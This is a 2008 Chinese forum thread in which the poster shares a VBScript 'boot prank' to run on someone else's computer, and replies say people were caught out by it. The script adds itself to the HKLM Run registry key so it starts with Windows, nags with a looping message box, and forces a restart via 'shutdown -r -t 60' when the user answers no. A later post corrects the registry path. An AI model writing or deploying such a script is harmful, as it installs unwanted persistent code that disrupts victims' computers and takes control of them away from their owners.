迈思工作室 - 官方网站!

 找回密码
 马上加入
查看: 19648|回复: 60

[原创] 恶搞开机!让你的爱机添色彩!

[复制链接]
发表于 2008-8-24 20:25:45 | 显示全部楼层 |阅读模式
赋闲在家,百无聊奈,做了一个小程序,让你的爱机给别人的一个惊讶,让你获得些许欢喜
Do
Set wso = CreateObject("WScript.Shell")
wso.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ok","c:\ok","REG_SZ"
a=msgbox("我主人是不是帅哥?",vbyesno,"开机友好提示")
set b=createobject("wscript.shell")
if a=vbno then
c=msgbox("再给你一次机会!",vbokcancel,"抓紧时间")
b.run"cmd /c shutdown -r -t 60 "
else
b.run"cmd /c shutdown -a ",0,true
d=msgbox("英雄所见略同!",vbokcancel,"乖")
c=vbcancel
end if
loop while c=vbok,
不会用的,闲麻烦的就最好别用了,下载后,把程序放在c;\盘下面,路径和语言部分也可以自己在程序中修改,不想用的直接把程序删除就行了!
发表于 2008-8-24 22:48:14 | 显示全部楼层
       版主给点MB   好想下载下来
 楼主| 发表于 2008-8-25 19:58:25 | 显示全部楼层
修正一个错误,
wso.RegWrite "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ok","c:\\ok.vbs","REG_SZ"
附件在这里:

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?马上加入

x
发表于 2008-8-27 03:04:10 | 显示全部楼层
引用第2楼zyfsky于2008-08-25 19:58发表的  :
修正一个错误,
wso.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunok","ck.vbs","REG_SZ"
附件在这里:
呵呵~~我看就是有点不太对~~
发表于 2008-9-24 04:18:18 | 显示全部楼层
草 。。关机。。。。。
发表于 2008-9-24 04:18:58 | 显示全部楼层
/c shutdown -r -t 60   没注意
发表于 2008-9-24 13:08:44 | 显示全部楼层
都上当了.
发表于 2008-9-24 14:36:26 | 显示全部楼层
没意思

点评

www.kanshuzhong.com/0/927/ 剑道独尊  发表于 2014-9-22 11:33
www.kanshuzhong.com/26/26523/ 三界血歌  发表于 2014-9-22 11:33
发表于 2008-9-27 13:53:04 | 显示全部楼层
   没钱
发表于 2008-10-5 21:01:13 | 显示全部楼层
我的妈呀........啥 东西啊.......你是真有才啊........不过去时做的挺绝的啊....不点是就关机啊...
发表于 2008-10-8 09:49:37 | 显示全部楼层
想下载下来,LZ为什么没有上传附件?
发表于 2008-11-18 16:36:20 | 显示全部楼层
老大,你发的不会是忽悠的吧?把我的机子也搞黑了
发表于 2008-11-22 09:55:27 | 显示全部楼层
真是替人着想
发表于 2008-11-25 16:42:14 | 显示全部楼层
好东西~支持下``
发表于 2008-12-3 04:05:32 | 显示全部楼层
rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
发表于 2008-12-3 04:05:43 | 显示全部楼层
dddddddddddddddddddd
发表于 2008-12-4 00:59:02 | 显示全部楼层
什么东东啊?
发表于 2008-12-7 09:23:44 | 显示全部楼层
挺有意思的。。。
发表于 2009-1-8 05:13:03 | 显示全部楼层
dddddddddddddddddddddddddd
发表于 2009-1-19 15:02:41 | 显示全部楼层
kan kan
您需要登录后才可以回帖 登录 | 马上加入

本版积分规则

QQ|小黑屋|手机版|迈思工作室 ( 闽ICP备05021721号 )

网友言论不代表本站观点,如果侵犯了您的权益,请来信告知,我们将尽快删除.
迈思(Max)工作室 Http://Pzz.Cn    Http://MaxDOS.Net    转载请注明!
严禁发表任何与国家法律相抵触的言论.

Power-By-D-I-S-C-U-Z!

网站管理,业务合作邮箱: Max(a)Pzz.Cn    QQ:12996688 限网站业务问题.
论坛帐号、密码、密保找回请使用注册邮箱,发送邮件至 Maxs(a)QQ.Com ,否则不予受理.

闽公网安备 35050402880002号

快速回复 返回顶部 返回列表